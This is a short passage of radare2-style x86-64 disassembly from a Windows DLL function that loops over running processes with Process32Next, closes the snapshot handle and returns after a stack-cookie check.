mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
jmp 0x180040c95
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x180040c3e
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1800c6440
add rsp, 0x178
ret